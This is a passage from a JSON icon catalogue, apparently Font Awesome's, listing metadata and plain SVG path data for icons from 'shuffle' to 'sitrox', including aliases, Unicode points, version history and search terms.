        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96s28.7 64 64 64h1c3.7 88.9 77 160 167 160h56V128H264 88.8 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H464c8.8 0 16-7.2 16-16s-7.2-16-16-16H64zM224 456c0 13.3 10.7 24 24 24h72V407.8l-64.1-22.4c-12.5-4.4-26.2 2.2-30.6 14.7s2.2 26.2 14.7 30.6l4.5 1.6C233 433.9 224 443.9 224 456zm128 23.3c36.4-3.3 69.5-17.6 96.1-39.6l-86.5-34.6c-3 1.8-6.2 3.2-9.6 4.3v69.9zM472.6 415c24.6-30.3 39.4-68.9 39.4-111c0-12.3-1.3-24.3-3.7-35.9L382.8 355.1c.8 3.4 1.2 7 1.2 10.6c0 4.6-.7 9-1.9 13.1L472.6 415zM336 128H320V320h18.3c9.9 0 19.1 3.2 26.6 8.5l133.5-92.4C471.8 172.6 409.1 128 336 128zM168 192a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96s28.7 64 64 64h1c3.7 88.9 77 160 167 160h56V128H264 88.8 64c-17.7 0-32-14.3-32-32s14.3-32 32-32H464c8.8 0 16-7.2 16-16s-7.2-16-16-16H64zM224 456c0 13.3 10.7 24 24 24h72V407.8l-64.1-22.4c-12.5-4.4-26.2 2.2-30.6 14.7s2.2 26.2 14.7 30.6l4.5 1.6C233 433.9 224 443.9 224 456zm128 23.3c36.4-3.3 69.5-17.6 96.1-39.6l-86.5-34.6c-3 1.8-6.2 3.2-9.6 4.3v69.9zM472.6 415c24.6-30.3 39.4-68.9 39.4-111c0-12.3-1.3-24.3-3.7-35.9L382.8 355.1c.8 3.4 1.2 7 1.2 10.6c0 4.6-.7 9-1.9 13.1L472.6 415zM336 128H320V320h18.3c9.9 0 19.1 3.2 26.6 8.5l133.5-92.4C471.8 172.6 409.1 128 336 128zM168 192a24 24 0 1 1 48 0 24 24 0 1 1 -48 0z"
      }
    },
    "free": ["solid"]
  },
  "shuffle": {
    "aliases": {
      "names": ["random"],
      "unicodes": {
        "composite": ["1f500"],
        "secondary": ["10f074"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "arrows",
        "crossed",
        "shuffle",
        "shuffle tracks button",
        "sort",
        "swap",
        "switch",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f074",
    "label": "Shuffle",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M403.8 34.4c12-5 25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160H352c-10.1 0-19.6 4.7-25.6 12.8L284 229.3 244 176l31.2-41.6C293.3 110.2 321.8 96 352 96h32V64c0-12.9 7.8-24.6 19.8-29.6zM164 282.7L204 336l-31.2 41.6C154.7 401.8 126.2 416 96 416H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c10.1 0 19.6-4.7 25.6-12.8L164 282.7zm274.6 188c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V416H352c-30.2 0-58.7-14.2-76.8-38.4L121.6 172.8c-6-8.1-15.5-12.8-25.6-12.8H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c30.2 0 58.7 14.2 76.8 38.4L326.4 339.2c6 8.1 15.5 12.8 25.6 12.8h32V320c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M403.8 34.4c12-5 25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V160H352c-10.1 0-19.6 4.7-25.6 12.8L284 229.3 244 176l31.2-41.6C293.3 110.2 321.8 96 352 96h32V64c0-12.9 7.8-24.6 19.8-29.6zM164 282.7L204 336l-31.2 41.6C154.7 401.8 126.2 416 96 416H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c10.1 0 19.6-4.7 25.6-12.8L164 282.7zm274.6 188c-9.2 9.2-22.9 11.9-34.9 6.9s-19.8-16.6-19.8-29.6V416H352c-30.2 0-58.7-14.2-76.8-38.4L121.6 172.8c-6-8.1-15.5-12.8-25.6-12.8H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H96c30.2 0 58.7 14.2 76.8 38.4L326.4 339.2c6 8.1 15.5 12.8 25.6 12.8h32V320c0-12.9 7.8-24.6 19.8-29.6s25.7-2.2 34.9 6.9l64 64c6 6 9.4 14.1 9.4 22.6s-3.4 16.6-9.4 22.6l-64 64z"
      }
    },
    "free": ["solid"]
  },
  "shuttle-space": {
    "aliases": {
      "names": ["space-shuttle"],
      "unicodes": {
        "secondary": ["10f197"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "astronaut",
        "machine",
        "nasa",
        "rocket",
        "space",
        "transportation"
      ]
    },
    "styles": ["solid"],
    "unicode": "f197",
    "label": "Shuttle Space",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767637,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M130 480c40.6 0 80.4-11 115.2-31.9L352 384l-224 0 0 96h2zM352 128L245.2 63.9C210.4 43 170.6 32 130 32h-2v96l224 0zM96 128l0-96H80C53.5 32 32 53.5 32 80v48h8c-22.1 0-40 17.9-40 40v16V328v16c0 22.1 17.9 40 40 40H32v48c0 26.5 21.5 48 48 48H96l0-96h8c26.2 0 49.4-12.6 64-32H456c69.3 0 135-22.7 179.2-81.6c6.4-8.5 6.4-20.3 0-28.8C591 182.7 525.3 160 456 160H168c-14.6-19.4-37.8-32-64-32l-8 0zM512 243.6v24.9c0 19.6-15.9 35.6-35.6 35.6c-2.5 0-4.4-2-4.4-4.4V212.4c0-2.5 2-4.4 4.4-4.4c19.6 0 35.6 15.9 35.6 35.6z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M130 480c40.6 0 80.4-11 115.2-31.9L352 384l-224 0 0 96h2zM352 128L245.2 63.9C210.4 43 170.6 32 130 32h-2v96l224 0zM96 128l0-96H80C53.5 32 32 53.5 32 80v48h8c-22.1 0-40 17.9-40 40v16V328v16c0 22.1 17.9 40 40 40H32v48c0 26.5 21.5 48 48 48H96l0-96h8c26.2 0 49.4-12.6 64-32H456c69.3 0 135-22.7 179.2-81.6c6.4-8.5 6.4-20.3 0-28.8C591 182.7 525.3 160 456 160H168c-14.6-19.4-37.8-32-64-32l-8 0zM512 243.6v24.9c0 19.6-15.9 35.6-35.6 35.6c-2.5 0-4.4-2-4.4-4.4V212.4c0-2.5 2-4.4 4.4-4.4c19.6 0 35.6 15.9 35.6 35.6z"
      }
    },
    "free": ["solid"]
  },
  "sign-hanging": {
    "aliases": {
      "names": ["sign"],
      "unicodes": {
        "secondary": ["10f4d9"]
      }
    },
    "changes": [
      "5.0.9",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "real estate", "signage", "wayfinding"]
    },
    "styles": ["solid"],
    "unicode": "f4d9",
    "label": "Sign Hanging",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M96 0c17.7 0 32 14.3 32 32V64l352 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-352 0V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128H32C14.3 128 0 113.7 0 96S14.3 64 32 64H64V32C64 14.3 78.3 0 96 0zm96 160H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M96 0c17.7 0 32 14.3 32 32V64l352 0c17.7 0 32 14.3 32 32s-14.3 32-32 32l-352 0V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128H32C14.3 128 0 113.7 0 96S14.3 64 32 64H64V32C64 14.3 78.3 0 96 0zm96 160H448c17.7 0 32 14.3 32 32V352c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32V192c0-17.7 14.3-32 32-32z"
      }
    },
    "free": ["solid"]
  },
  "signal": {
    "aliases": {
      "names": ["signal-5", "signal-perfect"],
      "unicodes": {
        "composite": ["1f4f6"],
        "secondary": ["10f012"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.3.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "antenna",
        "antenna bars",
        "bar",
        "bars",
        "cell",
        "graph",
        "mobile",
        "online",
        "phone",
        "reception",
        "status"
      ]
    },
    "styles": ["solid"],
    "unicode": "f012",
    "label": "Signal",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M576 0c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM448 96c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM352 224V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zM192 288c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32zM96 416v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V416c0-17.7 14.3-32 32-32s32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M576 0c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V32c0-17.7 14.3-32 32-32zM448 96c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V128c0-17.7 14.3-32 32-32zM352 224V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V224c0-17.7 14.3-32 32-32s32 14.3 32 32zM192 288c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32s-32-14.3-32-32V320c0-17.7 14.3-32 32-32zM96 416v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V416c0-17.7 14.3-32 32-32s32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "signature": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5b7"]
      }
    },
    "changes": [
      "5.1.0",
      "5.6.0",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["John Hancock", "cursive", "name", "writing"]
    },
    "styles": ["solid"],
    "unicode": "f5b7",
    "label": "Signature",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M192 128c0-17.7 14.3-32 32-32s32 14.3 32 32v7.8c0 27.7-2.4 55.3-7.1 82.5l-84.4 25.3c-40.6 12.2-68.4 49.6-68.4 92v71.9c0 40 32.5 72.5 72.5 72.5c26 0 50-13.9 62.9-36.5l13.9-24.3c26.8-47 46.5-97.7 58.4-150.5l94.4-28.3-12.5 37.5c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l18-53.9c3.8-11.3 .9-23.8-7.4-32.4s-20.7-11.8-32.2-8.4L316.4 198.1c2.4-20.7 3.6-41.4 3.6-62.3V128c0-53-43-96-96-96s-96 43-96 96v32c0 17.7 14.3 32 32 32s32-14.3 32-32V128zm-9.2 177l49-14.7c-10.4 33.8-24.5 66.4-42.1 97.2l-13.9 24.3c-1.5 2.6-4.3 4.3-7.4 4.3c-4.7 0-8.5-3.8-8.5-8.5V335.6c0-14.1 9.3-26.6 22.8-30.7zM24 368c-13.3 0-24 10.7-24 24s10.7 24 24 24H64.3c-.2-2.8-.3-5.6-.3-8.5V368H24zm592 48c13.3 0 24-10.7 24-24s-10.7-24-24-24H305.9c-6.7 16.3-14.2 32.3-22.3 48H616z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M192 128c0-17.7 14.3-32 32-32s32 14.3 32 32v7.8c0 27.7-2.4 55.3-7.1 82.5l-84.4 25.3c-40.6 12.2-68.4 49.6-68.4 92v71.9c0 40 32.5 72.5 72.5 72.5c26 0 50-13.9 62.9-36.5l13.9-24.3c26.8-47 46.5-97.7 58.4-150.5l94.4-28.3-12.5 37.5c-3.3 9.8-1.6 20.5 4.4 28.8s15.7 13.3 26 13.3H544c17.7 0 32-14.3 32-32s-14.3-32-32-32H460.4l18-53.9c3.8-11.3 .9-23.8-7.4-32.4s-20.7-11.8-32.2-8.4L316.4 198.1c2.4-20.7 3.6-41.4 3.6-62.3V128c0-53-43-96-96-96s-96 43-96 96v32c0 17.7 14.3 32 32 32s32-14.3 32-32V128zm-9.2 177l49-14.7c-10.4 33.8-24.5 66.4-42.1 97.2l-13.9 24.3c-1.5 2.6-4.3 4.3-7.4 4.3c-4.7 0-8.5-3.8-8.5-8.5V335.6c0-14.1 9.3-26.6 22.8-30.7zM24 368c-13.3 0-24 10.7-24 24s10.7 24 24 24H64.3c-.2-2.8-.3-5.6-.3-8.5V368H24zm592 48c13.3 0 24-10.7 24-24s-10.7-24-24-24H305.9c-6.7 16.3-14.2 32.3-22.3 48H616z"
      }
    },
    "free": ["solid"]
  },
  "signs-post": {
    "aliases": {
      "names": ["map-signs"],
      "unicodes": {
        "secondary": ["10f277"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["directions", "directory", "map", "signage", "wayfinding"]
    },
    "styles": ["solid"],
    "unicode": "f277",
    "label": "Signs Post",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 32H64C46.3 32 32 46.3 32 64v64c0 17.7 14.3 32 32 32H441.4c4.2 0 8.3-1.7 11.3-4.7l48-48c6.2-6.2 6.2-16.4 0-22.6l-48-48c-3-3-7.1-4.7-11.3-4.7H288c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 256c0-17.7-14.3-32-32-32H288V192H224v32H70.6c-4.2 0-8.3 1.7-11.3 4.7l-48 48c-6.2 6.2-6.2 16.4 0 22.6l48 48c3 3 7.1 4.7 11.3 4.7H448c17.7 0 32-14.3 32-32V256zM288 480V384H224v96c0 17.7 14.3 32 32 32s32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 32H64C46.3 32 32 46.3 32 64v64c0 17.7 14.3 32 32 32H441.4c4.2 0 8.3-1.7 11.3-4.7l48-48c6.2-6.2 6.2-16.4 0-22.6l-48-48c-3-3-7.1-4.7-11.3-4.7H288c0-17.7-14.3-32-32-32s-32 14.3-32 32zM480 256c0-17.7-14.3-32-32-32H288V192H224v32H70.6c-4.2 0-8.3 1.7-11.3 4.7l-48 48c-6.2 6.2-6.2 16.4 0 22.6l48 48c3 3 7.1 4.7 11.3 4.7H448c17.7 0 32-14.3 32-32V256zM288 480V384H224v96c0 17.7 14.3 32 32 32s32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "sim-card": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f7c4"]
      }
    },
    "changes": [
      "5.6.0",
      "5.8.2",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hard drive",
        "hardware",
        "portable",
        "storage",
        "technology",
        "tiny"
      ]
    },
    "styles": ["solid"],
    "unicode": "f7c4",
    "label": "Sim Card",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767341,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0H242.7c17 0 33.3 6.7 45.3 18.7L365.3 96c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0zM96 192c-17.7 0-32 14.3-32 32v32h64V192H96zM64 352h80 96 80V288H240 144 64v64zM320 224c0-17.7-14.3-32-32-32H256v64h64V224zM160 192v64h64V192H160zM288 448c17.7 0 32-14.3 32-32V384H256v64h32zM160 384v64h64V384H160zM64 416c0 17.7 14.3 32 32 32h32V384H64v32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0H242.7c17 0 33.3 6.7 45.3 18.7L365.3 96c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64C0 28.7 28.7 0 64 0zM96 192c-17.7 0-32 14.3-32 32v32h64V192H96zM64 352h80 96 80V288H240 144 64v64zM320 224c0-17.7-14.3-32-32-32H256v64h64V224zM160 192v64h64V192H160zM288 448c17.7 0 32-14.3 32-32V384H256v64h32zM160 384v64h64V384H160zM64 416c0 17.7 14.3 32 32 32h32V384H64v32z"
      }
    },
    "free": ["solid"]
  },
  "simplybuilt": {
    "changes": ["4.3.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f215",
    "label": "SimplyBuilt",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M481.2 64h-106c-14.5 0-26.6 11.8-26.6 26.3v39.6H163.3V90.3c0-14.5-12-26.3-26.6-26.3h-106C16.1 64 4.3 75.8 4.3 90.3v331.4c0 14.5 11.8 26.3 26.6 26.3h450.4c14.8 0 26.6-11.8 26.6-26.3V90.3c-.2-14.5-12-26.3-26.7-26.3zM149.8 355.8c-36.6 0-66.4-29.7-66.4-66.4 0-36.9 29.7-66.6 66.4-66.6 36.9 0 66.6 29.7 66.6 66.6 0 36.7-29.7 66.4-66.6 66.4zm212.4 0c-36.9 0-66.6-29.7-66.6-66.6 0-36.6 29.7-66.4 66.6-66.4 36.6 0 66.4 29.7 66.4 66.4 0 36.9-29.8 66.6-66.4 66.6z"
      }
    },
    "free": ["brands"]
  },
  "sink": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e06d"]
      }
    },
    "changes": [
      "5.13.0",
      "5.13.1",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["bathroom", "covid-19", "faucet", "kitchen", "wash"]
    },
    "styles": ["solid"],
    "unicode": "e06d",
    "label": "Sink",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 96c0-17.7 14.3-32 32-32s32 14.3 32 32s14.3 32 32 32s32-14.3 32-32c0-53-43-96-96-96s-96 43-96 96V288H160V264c0-30.9-25.1-56-56-56H56c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c4.4 0 8 3.6 8 8v24H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H256 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H400V264c0-4.4 3.6-8 8-8h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H408c-30.9 0-56 25.1-56 56v24H288V96zM480 416V384H32v32c0 53 43 96 96 96H384c53 0 96-43 96-96z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 96c0-17.7 14.3-32 32-32s32 14.3 32 32s14.3 32 32 32s32-14.3 32-32c0-53-43-96-96-96s-96 43-96 96V288H160V264c0-30.9-25.1-56-56-56H56c-13.3 0-24 10.7-24 24s10.7 24 24 24h48c4.4 0 8 3.6 8 8v24H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H256 480c17.7 0 32-14.3 32-32s-14.3-32-32-32H400V264c0-4.4 3.6-8 8-8h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H408c-30.9 0-56 25.1-56 56v24H288V96zM480 416V384H32v32c0 53 43 96 96 96H384c53 0 96-43 96-96z"
      }
    },
    "free": ["solid"]
  },
  "sistrix": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3ee",
    "label": "SISTRIX",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 449L301.2 300.2c20-27.9 31.9-62.2 31.9-99.2 0-93.1-74.7-168.9-166.5-168.9C74.7 32 0 107.8 0 200.9s74.7 168.9 166.5 168.9c39.8 0 76.3-14.2 105-37.9l146 148.1 30.5-31zM166.5 330.8c-70.6 0-128.1-58.3-128.1-129.9S95.9 71 166.5 71s128.1 58.3 128.1 129.9-57.4 129.9-128.1 129.9z"
      }
    },
    "free": ["brands"]
  },
  "sitemap": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0e8"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.0.13",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "directory",
        "hierarchy",
        "ia",
        "information architecture",
        "organization"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0e8",
    "label": "Sitemap",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M208 80c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48h-8v40H464c30.9 0 56 25.1 56 56v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H464c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-4.4-3.6-8-8-8H312v40h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H256c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V280H112c-4.4 0-8 3.6-8 8v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-30.9 25.1-56 56-56H264V192h-8c-26.5 0-48-21.5-48-48V80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M208 80c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48h-8v40H464c30.9 0 56 25.1 56 56v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H464c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-4.4-3.6-8-8-8H312v40h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H256c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V280H112c-4.4 0-8 3.6-8 8v32h8c26.5 0 48 21.5 48 48v64c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V368c0-26.5 21.5-48 48-48h8V288c0-30.9 25.1-56 56-56H264V192h-8c-26.5 0-48-21.5-48-48V80z"
      }
    },
    "free": ["solid"]
  },
  "sith": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f512",
    "label": "Sith",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M0 32l69.71 118.75-58.86-11.52 69.84 91.03a146.741 146.741 0 0 0 0 51.45l-69.84 91.03 58.86-11.52L0 480l118.75-69.71-11.52 58.86 91.03-69.84c17.02 3.04 34.47 3.04 51.48 0l91.03 69.84-11.52-58.86L448 480l-69.71-118.78 58.86 11.52-69.84-91.03c3.03-17.01 3.04-34.44 0-51.45l69.84-91.03-58.86 11.52L448 32l-118.75 69.71 11.52-58.9-91.06 69.87c-8.5-1.52-17.1-2.29-25.71-2.29s-17.21.78-25.71 2.29l-91.06-69.87 11.52 58.9L0 32zm224 99.78c31.8 0 63.6 12.12 87.85 36.37 48.5 48.5 48.49 127.21 0 175.7s-127.2 48.46-175.7-.03c-48.5-48.5-48.49-127.21 0-175.7 24.24-24.25 56.05-36.34 87.85-36.34zm0 36.66c-22.42 0-44.83 8.52-61.92 25.61-34.18 34.18-34.19 89.68 0 123.87s89.65 34.18 123.84 0c34.18-34.18 34.19-89.68 0-123.87-17.09-17.09-39.5-25.61-61.92-25.61z"
      }
    },
    "free": ["brands"]
  },
  "sitrox": {
    "changes": ["6.0.0-beta2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "e44a",
    "label": "Sitrox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M212.439 0.00846128V0H448V128H64C64 57.6008 141.755 0.475338 212.439 0.00846128ZM237.256 192V192.007C307.135 192.475 384 249.6 384 320H210.809V319.995C140.915 319.563 64 262.424 64 192H237.256ZM235.565 511.993C306.251 511.521 384 454.399 384 384H0V512H235.565V511.993Z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M212.439 0.00846128V0H448V128H64C64 57.6008 141.755 0.475338 212.439 0.00846128ZM237.256 192V192.007C307.135 192.475 384 249.6 384 320H210.809V319.995C140.915 319.563 64 262.424 64 192H237.256ZM235.565 511.993C306.251 511.521 384 454.399 384 384H0V512H235.565V511.993Z"
